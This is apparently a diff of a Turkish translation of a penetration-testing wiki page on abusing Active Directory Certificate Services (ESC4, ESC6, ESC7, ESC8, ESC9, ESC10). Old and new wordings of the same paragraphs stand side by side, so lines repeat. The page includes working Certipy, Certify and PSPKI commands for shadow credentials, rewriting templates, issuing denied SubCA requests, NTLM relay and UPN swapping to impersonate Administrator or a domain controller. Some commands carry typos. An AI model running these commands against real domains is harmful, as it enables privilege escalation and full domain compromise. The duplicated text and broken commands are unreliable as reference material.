Yukarıdaki yolda görüldüğü gibi, yalnızca `JOHNPC` bu ayrıcalıklara sahiptir, ancak kullanıcı `JOHN`'ın `JOHNPC`'ye yeni `AddKeyCredentialLink` kenarı vardır. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım, bu da [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinir. İşte kurbanın NT hash'ini almak için Certipy'nin `shadow auto` komutunun küçük bir önizlemesi.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy**, bir sertifika şablonunun yapılandırmasını tek bir komutla geçersiz kılabilir. **Varsayılan olarak**, Certipy yapılandırmayı **ESC1'e karşı savunmasız hale getirmek için geçersiz kılar**. Ayrıca, **saldırımızdan sonra yapılandırmayı geri yüklemek için eski yapılandırmayı kaydetmek üzere `-save-old` parametresini de belirtebiliriz**.
|
||||
**Certipy**, bir sertifika şablonunun yapılandırmasını tek bir komutla geçersiz kılabilir. **Varsayılan olarak**, Certipy yapılandırmayı **ESC1'e karşı savunmasız hale getirecek şekilde geçersiz kılar**. Ayrıca, **eski yapılandırmayı kaydetmek için `-save-old` parametresini belirtebiliriz**, bu da saldırımızdan sonra yapılandırmayı **geri yüklemek** için faydalı olacaktır.
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
@ -164,11 +164,11 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
|
||||
|
||||
### Explanation
|
||||
|
||||
Bağlantılı ACL tabanlı ilişkilerin geniş ağı, sertifika şablonları ve sertifika otoritesinin ötesinde birkaç nesneyi içermektedir ve bu, tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunlardır:
|
||||
Birçok nesneyi, sertifika şablonları ve sertifika otoritesinin ötesinde, içeren ACL tabanlı ilişkilerin geniş ağı, tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunlardır:
|
||||
|
||||
- CA sunucusunun AD bilgisayar nesnesi, S4U2Self veya S4U2Proxy gibi mekanizmalar aracılığıyla tehlikeye girebilir.
|
||||
- S4U2Self veya S4U2Proxy gibi mekanizmalar aracılığıyla tehlikeye girebilecek CA sunucusunun AD bilgisayar nesnesi.
|
||||
- CA sunucusunun RPC/DCOM sunucusu.
|
||||
- `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` belirli konteyner yolunda bulunan herhangi bir alt AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifikasyon Otoriteleri konteyneri, NTAuthCertificates nesnesi ve Kayıt Hizmetleri Konteyneri gibi konteynerler ve nesnelerle sınırlı olmamakla birlikte, bunları içermektedir.
|
||||
- `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` belirli konteyner yolunda bulunan herhangi bir alt AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifikasyon Otoriteleri konteyneri, NTAuthCertificates nesnesi ve Kayıt Hizmetleri Konteyneri gibi konteynerler ve nesnelerle sınırlı olmamakla birlikte, bunları içerir.
|
||||
|
||||
PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırgan bu kritik bileşenlerden herhangi birine kontrol sağlamayı başarırsa tehlikeye girebilir.
|
||||
|
||||
@ -176,9 +176,9 @@ PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırgan bu kritik bil
|
||||
|
||||
### Explanation
|
||||
|
||||
[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerini de kapsamaktadır. Bu yapılandırma, bir Sertifikasyon Otoritesi (CA) üzerinde etkinleştirildiğinde, **herhangi bir istek** için **konu alternatif adı** içinde **kullanıcı tanımlı değerlerin** dahil edilmesine izin verir; bu, Active Directory®'den oluşturulanları da içerir. Sonuç olarak, bu düzenleme, bir **saldırganın** alan **kimlik doğrulaması** için ayarlanmış **herhangi bir şablon** üzerinden kaydolmasına olanak tanır—özellikle **ayrıcalıksız** kullanıcı kaydına açık olan standart Kullanıcı şablonu gibi. Sonuç olarak, bir sertifika güvence altına alınabilir ve saldırganın alan yöneticisi veya alan içindeki **herhangi bir aktif varlık** olarak kimlik doğrulaması yapmasına olanak tanır.
|
||||
[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerini de ele almaktadır. Bu yapılandırma, bir Sertifikasyon Otoritesi (CA) üzerinde etkinleştirildiğinde, **herhangi bir istekte** **kullanıcı tanımlı değerlerin** **alternatif ad** olarak dahil edilmesine izin verir; bu, Active Directory®'den oluşturulanları da içerir. Sonuç olarak, bu düzenleme, **bir saldırganın** **herhangi bir şablon** aracılığıyla **kimlik doğrulama** için kayıt olmasına olanak tanır—özellikle, standart Kullanıcı şablonu gibi **ayrıcalıksız** kullanıcı kaydına açık olanlar. Sonuç olarak, bir sertifika güvence altına alınabilir ve saldırganın bir alan yöneticisi veya alan içindeki **herhangi bir aktif varlık** olarak kimlik doğrulaması yapmasına olanak tanır.
|
||||
|
||||
**Not**: `certreq.exe` içindeki `-attrib "SAN:"` argümanı aracılığıyla bir Sertifika İmzalama Talebine (CSR) **alternatif adların** eklenmesi yaklaşımı, ESC1'deki SAN'ların istismar stratejisinden **farklılık** göstermektedir. Burada, fark, **hesap bilgilerinin nasıl kapsüllendiği** ile ilgilidir—bir sertifika niteliği içinde, bir uzantı yerine.
|
||||
**Not**: `certreq.exe` içindeki `-attrib "SAN:"` argümanı aracılığıyla bir Sertifika İmzalama Talebine (CSR) **alternatif adların** eklenmesi yaklaşımı, ESC1'deki SAN'ların istismar stratejisinden bir **fark** sunar. Burada, fark, **hesap bilgilerinin nasıl kapsüllendiği** ile ilgilidir—bir sertifika niteliği içinde, bir uzantı yerine.
|
||||
|
||||
### Abuse
|
||||
|
||||
@ -209,15 +209,15 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
|
||||
```
|
||||
> [!WARNING]
|
||||
> Mayıs 2022 güvenlik güncellemelerinden sonra, yeni verilen **sertifikalar**, **istek sahibinin `objectSid` özelliğini** içeren bir **güvenlik uzantısı** içerecektir. ESC1 için, bu SID belirtilen SAN'dan türetilir. Ancak, **ESC6** için, SID **istek sahibinin `objectSid`** değerini yansıtır, SAN'ı değil.\
|
||||
> ESC6'yi istismar etmek için, sistemin ESC10'a (Zayıf Sertifika Eşleştirmeleri) karşı hassas olması gerekmektedir; bu, **yeni güvenlik uzantısına göre SAN'ı** önceliklendirir.
|
||||
> ESC6'yi istismar etmek için, sistemin ESC10'a (Zayıf Sertifika Eşleştirmeleri) karşı hassas olması gerekmektedir; bu, **yeni güvenlik uzantısından ziyade SAN'ı** önceliklendirir.
|
||||
|
||||
## Hassas Sertifika Otoritesi Erişim Kontrolü - ESC7
|
||||
## Zayıf Sertifika Otoritesi Erişim Kontrolü - ESC7
|
||||
|
||||
### Saldırı 1
|
||||
|
||||
#### Açıklama
|
||||
|
||||
Bir sertifika otoritesi için erişim kontrolü, CA eylemlerini yöneten bir dizi izin aracılığıyla sürdürülmektedir. Bu izinler, `certsrv.msc` erişilerek, bir CA'ya sağ tıklanarak, özellikler seçilerek ve ardından Güvenlik sekmesine gidilerek görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu komutlarla sıralanabilir:
|
||||
Bir sertifika otoritesinin erişim kontrolü, CA eylemlerini yöneten bir dizi izin aracılığıyla sürdürülmektedir. Bu izinler, `certsrv.msc` erişilerek, bir CA'ya sağ tıklanarak, özellikler seçilerek ve ardından Güvenlik sekmesine gidilerek görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu komutlarla sıralanabilir:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
@ -225,14 +225,14 @@ Bu, "CA yöneticisi" ve "Sertifika Yöneticisi" rollerine karşılık gelen **`M
|
||||
|
||||
#### Kötüye Kullanım
|
||||
|
||||
Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, yetkilinin ayarları uzaktan PSPKI kullanarak manipüle etmesine olanak tanır. Bu, herhangi bir şablonda SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını değiştirmeyi içerir; bu, alan yükseltmesinin kritik bir yönüdür.
|
||||
Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, yetkilinin ayarları uzaktan PSPKI kullanarak manipüle etmesine olanak tanır. Bu, herhangi bir şablonda SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açıp kapatmayı içerir; bu, alan yükseltmesinin kritik bir yönüdür.
|
||||
|
||||
Bu sürecin basitleştirilmesi, doğrudan GUI etkileşimi olmadan değişikliklere izin veren PSPKI’nin **Enable-PolicyModuleFlag** cmdlet'inin kullanımıyla mümkündür.
|
||||
|
||||
**`ManageCertificates`** haklarına sahip olmak, bekleyen taleplerin onaylanmasını kolaylaştırır ve "CA sertifika yöneticisi onayı" korumasını etkili bir şekilde aşar.
|
||||
|
||||
Bir sertifika talep etmek, onaylamak ve indirmek için **Certify** ve **PSPKI** modüllerinin bir kombinasyonu kullanılabilir:
|
||||
```powershell
|
||||
**Certify** ve **PSPKI** modüllerinin bir kombinasyonu, bir sertifika talep etmek, onaylamak ve indirmek için kullanılabilir:
|
||||
```bash
|
||||
# Request a certificate that will require an approval
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
|
||||
[...]
|
||||
@ -247,24 +247,24 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R
|
||||
# Download the certificate
|
||||
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||
```
|
||||
### Saldırı 2
|
||||
### Attack 2
|
||||
|
||||
#### Açıklama
|
||||
#### Explanation
|
||||
|
||||
> [!WARNING]
|
||||
> **Önceki saldırıda** **`Manage CA`** izinleri **ESC6 saldırısını** gerçekleştirmek için **EDITF_ATTRIBUTESUBJECTALTNAME2** bayrağını **etkinleştirmek** için kullanıldı, ancak bu, CA hizmeti (`CertSvc`) yeniden başlatılmadıkça herhangi bir etki yaratmayacaktır. Bir kullanıcının `Manage CA` erişim hakkı olduğunda, kullanıcı aynı zamanda **hizmeti yeniden başlatma** iznine de sahiptir. Ancak, bu **kullanıcının hizmeti uzaktan yeniden başlatabileceği anlamına gelmez**. Ayrıca, **ESC6 çoğu yamanmış ortamda kutudan çıktığı gibi çalışmayabilir**; bu, Mayıs 2022 güvenlik güncellemelerinden kaynaklanmaktadır.
|
||||
> In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates.
|
||||
|
||||
Bu nedenle, burada başka bir saldırı sunulmaktadır.
|
||||
|
||||
Gereksinimler:
|
||||
|
||||
- Sadece **`ManageCA` izni**
|
||||
- **`Manage Certificates`** izni (bu **`ManageCA`** üzerinden verilebilir)
|
||||
- Sertifika şablonu **`SubCA`** **etkinleştirilmiş** olmalıdır (bu **`ManageCA`** üzerinden etkinleştirilebilir)
|
||||
- **`Manage Certificates`** izni ( **`ManageCA`** üzerinden verilebilir)
|
||||
- Sertifika şablonu **`SubCA`** **etkinleştirilmiş** olmalıdır ( **`ManageCA`** üzerinden etkinleştirilebilir)
|
||||
|
||||
Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri** **yayınlayabilmesi** gerçeğine dayanmaktadır. **`SubCA`** sertifika şablonu **ESC1'e** **duyarlıdır**, ancak **yalnızca yöneticiler** şablona kaydolabilir. Böylece, bir **kullanıcı** **`SubCA`**'ya kaydolmak için **talep** edebilir - bu **reddedilecektir** - ancak **sonrasında yönetici tarafından verilecektir**.
|
||||
Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri** verebileceği gerçeğine dayanır. **`SubCA`** sertifika şablonu **ESC1'e** **duyarlıdır**, ancak **sadece yöneticiler** şablona kaydolabilir. Böylece, bir **kullanıcı** **`SubCA`**'ya kaydolmak için **talep** edebilir - bu **reddedilecektir** - ancak **sonrasında yönetici tarafından verilecektir**.
|
||||
|
||||
#### Suistimal
|
||||
#### Abuse
|
||||
|
||||
Kendinize **`Manage Certificates`** erişim hakkını, kullanıcıyı yeni bir yetkili olarak ekleyerek **verebilirsiniz**.
|
||||
```bash
|
||||
@ -299,14 +299,14 @@ Would you like to save the private key? (y/N) y
|
||||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
**`CA Yönet`** ve **`Sertifikaları Yönet`** ile, `ca` komutunu ve `-issue-request <request ID>` parametresini kullanarak **başarısız sertifika** talebini **verebiliriz**.
|
||||
**`Manage CA` ve `Manage Certificates`** ile, `ca` komutunu ve `-issue-request <request ID>` parametresini kullanarak **başarısız sertifika** talebini **verebiliriz**.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully issued certificate
|
||||
```
|
||||
Ve nihayet, `req` komutunu ve `-retrieve <request ID>` parametresini kullanarak **verilen sertifikayı** alabiliriz.
|
||||
Ve nihayet, **verilen sertifikayı** `req` komutu ve `-retrieve <request ID>` parametresi ile **alabiliriz**.
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -323,16 +323,16 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
### Açıklama
|
||||
|
||||
> [!NOTE]
|
||||
> **AD CS yüklü** ortamlarda, eğer **kötü niyetli bir web kayıt noktası** varsa ve en az bir **sertifika şablonu yayınlanmışsa** ve **alan bilgisayarı kaydı ve istemci kimlik doğrulaması** (varsayılan **`Machine`** şablonu gibi) izni veriyorsa, **spooler servisi aktif olan herhangi bir bilgisayarın bir saldırgan tarafından tehlikeye atılması** mümkün hale gelir!
|
||||
> **AD CS yüklü** olan ortamlarda, eğer **kötü niyetli bir web kayıt noktası** varsa ve en az bir **sertifika şablonu yayımlanmışsa** (örneğin, varsayılan **`Machine`** şablonu gibi) **spooler servisi aktif olan herhangi bir bilgisayarın bir saldırgan tarafından tehlikeye atılması mümkün hale gelir**!
|
||||
|
||||
AD CS tarafından desteklenen birkaç **HTTP tabanlı kayıt yöntemi** vardır ve bunlar yöneticilerin yükleyebileceği ek sunucu rolleri aracılığıyla sunulmaktadır. HTTP tabanlı sertifika kaydı için bu arayüzler **NTLM relay saldırılarına** karşı hassastır. Bir saldırgan, **tehlikeye atılmış bir makineden, gelen NTLM aracılığıyla kimlik doğrulayan herhangi bir AD hesabını taklit edebilir**. Kurban hesabını taklit ederken, bu web arayüzleri bir saldırgan tarafından **`User` veya `Machine` sertifika şablonlarını kullanarak bir istemci kimlik doğrulama sertifikası talep etmek için erişilebilir**.
|
||||
|
||||
- **Web kayıt arayüzü** (`http://<caserver>/certsrv/` adresinde bulunan eski bir ASP uygulaması), varsayılan olarak yalnızca HTTP'yi destekler ve bu, NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin vererek, Kerberos gibi daha güvenli kimlik doğrulama yöntemlerini geçersiz kılar.
|
||||
- **Sertifika Kayıt Servisi** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Servisi** (NDES) varsayılan olarak, yetkilendirme HTTP başlıkları aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması **hem** Kerberos'u hem de **NTLM**'yi destekler, bu da bir saldırganın **relay saldırıları sırasında NTLM** kimlik doğrulamasına **düşmesine** olanak tanır. Bu web hizmetleri varsayılan olarak HTTPS'yi etkinleştirse de, HTTPS tek başına **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS hizmetleri için NTLM relay saldırılarından korunma, yalnızca HTTPS'nin kanal bağlama ile birleştirilmesiyle mümkündür. Ne yazık ki, AD CS, kanal bağlama için gerekli olan IIS'de Genişletilmiş Koruma için Kimlik Doğrulamasını etkinleştirmemektedir.
|
||||
- **Web kayıt arayüzü** (`http://<caserver>/certsrv/` adresinde bulunan eski bir ASP uygulaması), varsayılan olarak yalnızca HTTP'ye ayarlanmıştır ve bu, NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin vererek, Kerberos gibi daha güvenli kimlik doğrulama yöntemlerinin uygulanamaz hale gelmesine neden olur.
|
||||
- **Sertifika Kayıt Servisi** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Servisi** (NDES) varsayılan olarak, yetkilendirme HTTP başlıkları aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması **hem** Kerberos'u hem de **NTLM**'yi destekleyerek, bir saldırganın relay saldırıları sırasında **NTLM'ye düşmesine** olanak tanır. Bu web hizmetleri varsayılan olarak HTTPS'yi etkinleştirse de, HTTPS tek başına **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS hizmetleri için NTLM relay saldırılarına karşı koruma, yalnızca HTTPS'nin kanal bağlama ile birleştirilmesi durumunda mümkündür. Ne yazık ki, AD CS, kanal bağlama için gerekli olan IIS'de Genişletilmiş Koruma'yı etkinleştirmemektedir.
|
||||
|
||||
NTLM relay saldırılarındaki yaygın bir **sorun**, **NTLM oturumlarının kısa süresi** ve saldırganın **NTLM imzalamayı** gerektiren hizmetlerle etkileşimde bulunamamasıdır.
|
||||
NTLM relay saldırılarındaki yaygın bir **sorun**, **NTLM oturumlarının kısa süresi** ve saldırganın **NTLM imzası gerektiren** hizmetlerle etkileşimde bulunamamasıdır.
|
||||
|
||||
Yine de, bu sınırlama, bir kullanıcı için bir sertifika edinmek amacıyla bir NTLM relay saldırısını kullanarak aşılmaktadır, çünkü sertifikanın geçerlilik süresi oturumun süresini belirler ve sertifika, **NTLM imzalamayı** zorunlu kılan hizmetlerle kullanılabilir. Çalınan bir sertifikanın nasıl kullanılacağına dair talimatlar için bakınız:
|
||||
Yine de, bu sınırlama, bir kullanıcı için bir sertifika edinmek amacıyla bir NTLM relay saldırısını kullanarak aşılmaktadır, çünkü sertifikanın geçerlilik süresi oturumun süresini belirler ve sertifika, **NTLM imzası gerektiren** hizmetlerle kullanılabilir. Çalınan bir sertifikanın nasıl kullanılacağına dair talimatlar için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
account-persistence.md
|
||||
@ -346,7 +346,7 @@ NTLM relay saldırılarının bir diğer sınırlaması, **bir saldırgan kontro
|
||||
|
||||
### **Kötüye Kullanım**
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’nin `cas` komutu, **etkin HTTP AD CS uç noktalarını** listeler:
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’nin `cas` komutu **etkin HTTP AD CS uç noktalarını** listeler:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
@ -357,7 +357,7 @@ Certify.exe cas
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
<figure><img src="../../../images/image (757).png" alt=""><figcaption></figcaption></figure>
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module PSPKI
|
||||
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||
```
|
||||
@ -380,9 +380,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
||||
```
|
||||
#### Abuse with [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
Certipy, varsayılan olarak, `Machine` veya `User` şablonuna dayalı olarak bir sertifika talep eder; bu, iletilen hesap adının `$` ile bitip bitmediğine bağlıdır. Alternatif bir şablonun belirtilmesi, `-template` parametresinin kullanılmasıyla sağlanabilir.
|
||||
Certipy, varsayılan olarak, `$` ile bitip bitmediğine bağlı olarak `Machine` veya `User` şablonuna dayalı olarak bir sertifika talep eder. Alternatif bir şablonun belirtilmesi, `-template` parametresinin kullanılmasıyla sağlanabilir.
|
||||
|
||||
Daha sonra, kimlik doğrulamasını zorlamak için [PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kullanılabilir. Alan denetleyicileri ile çalışırken, `-template DomainController` belirtilmesi gereklidir.
|
||||
Kimlik doğrulamasını zorlamak için [PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kullanılabilir. Alan denetleyicileri ile çalışırken, `-template DomainController` belirtilmesi gereklidir.
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -405,14 +405,14 @@ Bu bayrağın ayarının önemli hale geldiği koşullar şunlardır:
|
||||
|
||||
- `StrongCertificateBindingEnforcement` `2` olarak ayarlanmamışsa (varsayılan `1`), veya `CertificateMappingMethods` `UPN` bayrağını içeriyorsa.
|
||||
- Sertifika, `msPKI-Enrollment-Flag` ayarındaki `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile işaretlenmişse.
|
||||
- Sertifika tarafından herhangi bir istemci kimlik doğrulama EKU belirtilmişse.
|
||||
- Başka bir hesabı tehlikeye atmak için herhangi bir hesap üzerinde `GenericWrite` izinleri mevcutsa.
|
||||
- Herhangi bir istemci kimlik doğrulama EKU sertifika tarafından belirtilmişse.
|
||||
- Başka bir hesabı tehlikeye atmak için `GenericWrite` izinleri mevcutsa.
|
||||
|
||||
### İstismar Senaryosu
|
||||
|
||||
Diyelim ki `John@corp.local`, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip ve amacı `Administrator@corp.local`'ı tehlikeye atmaktır. `Jane@corp.local`'ın kaydolmasına izin verilen `ESC9` sertifika şablonu, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile yapılandırılmıştır.
|
||||
|
||||
Başlangıçta, `Jane`'in hash'i, `John`'un `GenericWrite`'ı sayesinde Shadow Credentials kullanılarak elde edilir:
|
||||
İlk olarak, `Jane`'in hash'i, `John`'un `GenericWrite`'ı sayesinde Shadow Credentials kullanılarak elde edilir:
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
@ -420,7 +420,7 @@ Sonrasında, `Jane`'in `userPrincipalName` değeri `Administrator` olarak deği
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Bu değişiklik, `Administrator@corp.local`'ın `Administrator`'ın `userPrincipalName`'i olarak farklı kalması göz önüne alındığında kısıtlamaları ihlal etmez.
|
||||
Bu değişiklik, `Administrator@corp.local`'ın `Administrator`'ın `userPrincipalName` olarak ayrı kalması göz önüne alındığında kısıtlamaları ihlal etmez.
|
||||
|
||||
Bunun ardından, savunmasız olarak işaretlenen `ESC9` sertifika şablonu `Jane` olarak talep edilir:
|
||||
```bash
|
||||
@ -442,8 +442,8 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
|
||||
ESC10 tarafından belirtilen iki kayıt defteri anahtar değeri alan denetleyicisinde bulunmaktadır:
|
||||
|
||||
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altında `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), daha önce `0x1F` olarak ayarlanmıştı.
|
||||
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altında `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, daha önce `0` idi.
|
||||
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altındaki `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), daha önce `0x1F` olarak ayarlanmıştı.
|
||||
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altındaki `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, daha önce `0` idi.
|
||||
|
||||
**Durum 1**
|
||||
|
||||
@ -453,13 +453,13 @@ ESC10 tarafından belirtilen iki kayıt defteri anahtar değeri alan denetleyici
|
||||
|
||||
Eğer `CertificateMappingMethods` `UPN` bitini (`0x4`) içeriyorsa.
|
||||
|
||||
### Suistimal Durumu 1
|
||||
### Kötüye Kullanım Durumu 1
|
||||
|
||||
`StrongCertificateBindingEnforcement` `0` olarak yapılandırıldığında, `GenericWrite` izinlerine sahip bir A hesabı, herhangi bir B hesabını tehlikeye atmak için kullanılabilir.
|
||||
|
||||
Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip olan bir saldırgan, `Administrator@corp.local` hesabını tehlikeye atmayı hedefler. Prosedür ESC9'u yansıtır ve herhangi bir sertifika şablonunun kullanılmasına izin verir.
|
||||
Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip bir saldırgan, `Administrator@corp.local` hesabını tehlikeye atmayı hedefler. Prosedür ESC9'u yansıtır ve herhangi bir sertifika şablonunun kullanılmasına izin verir.
|
||||
|
||||
İlk olarak, `Jane`'in hash'i Shadow Credentials kullanılarak elde edilir, `GenericWrite` suistimal edilerek.
|
||||
İlk olarak, `Jane`'in hash'i Shadow Credentials kullanılarak elde edilir, `GenericWrite`'ı kötüye kullanarak.
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
@ -471,7 +471,7 @@ Bunun ardından, varsayılan `User` şablonunu kullanarak `Jane` olarak istemci
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
`Jane`'in `userPrincipalName`'i daha sonra orijinaline, `Jane@corp.local` olarak geri döndürülür.
|
||||
`Jane`'in `userPrincipalName`'i daha sonra orijinal haline, `Jane@corp.local` olarak geri döndürülür.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
@ -481,9 +481,9 @@ certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Abuse Case 2
|
||||
|
||||
`CertificateMappingMethods` içinde `UPN` bit bayrağı (`0x4`) bulunduğunda, `GenericWrite` izinlerine sahip bir A hesabı, `userPrincipalName` özelliğinden yoksun herhangi bir B hesabını, makine hesapları ve yerleşik alan yöneticisi `Administrator` dahil olmak üzere tehlikeye atabilir.
|
||||
`CertificateMappingMethods` içinde `UPN` bit bayrağı (`0x4`) bulunduğunda, `GenericWrite` izinlerine sahip bir A hesabı, `userPrincipalName` özelliğinden yoksun olan herhangi bir B hesabını, makine hesapları ve yerleşik alan yöneticisi `Administrator` dahil olmak üzere tehlikeye atabilir.
|
||||
|
||||
Burada, hedef `DC$@corp.local`'ı tehlikeye atmak, `Jane`'in hash'ini Shadow Credentials aracılığıyla elde etmekle başlamak ve `GenericWrite`'ı kullanmaktır.
|
||||
Burada, hedef `DC$@corp.local`'ı tehlikeye atmak ve `GenericWrite`'ı kullanarak Shadow Credentials aracılığıyla `Jane`'in hash'ini elde etmekle başlamak.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
@ -491,15 +491,15 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
`Jane` olarak varsayılan `User` şablonunu kullanarak bir istemci kimlik doğrulama sertifikası talep edilir.
|
||||
`Jane` olarak varsayılan `User` şablonunu kullanarak istemci kimlik doğrulaması için bir sertifika talep edilir.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
`Jane`'in `userPrincipalName`'i bu işlemden sonra orijinal haline döner.
|
||||
`Jane`'in `userPrincipalName`'i bu işlemden sonra orijinal haline geri döner.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
Schannel üzerinden kimlik doğrulamak için, Certipy'nin `-ldap-shell` seçeneği kullanılır ve kimlik doğrulama başarısı `u:CORP\DC$` olarak belirtilir.
|
||||
Schannel üzerinden kimlik doğrulamak için, Certipy’nin `-ldap-shell` seçeneği kullanılır ve kimlik doğrulama başarısı `u:CORP\DC$` olarak belirtilir.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
@ -507,15 +507,15 @@ LDAP shell üzerinden, `set_rbcd` gibi komutlar, Kaynak Tabanlı Kısıtlı Dele
|
||||
```bash
|
||||
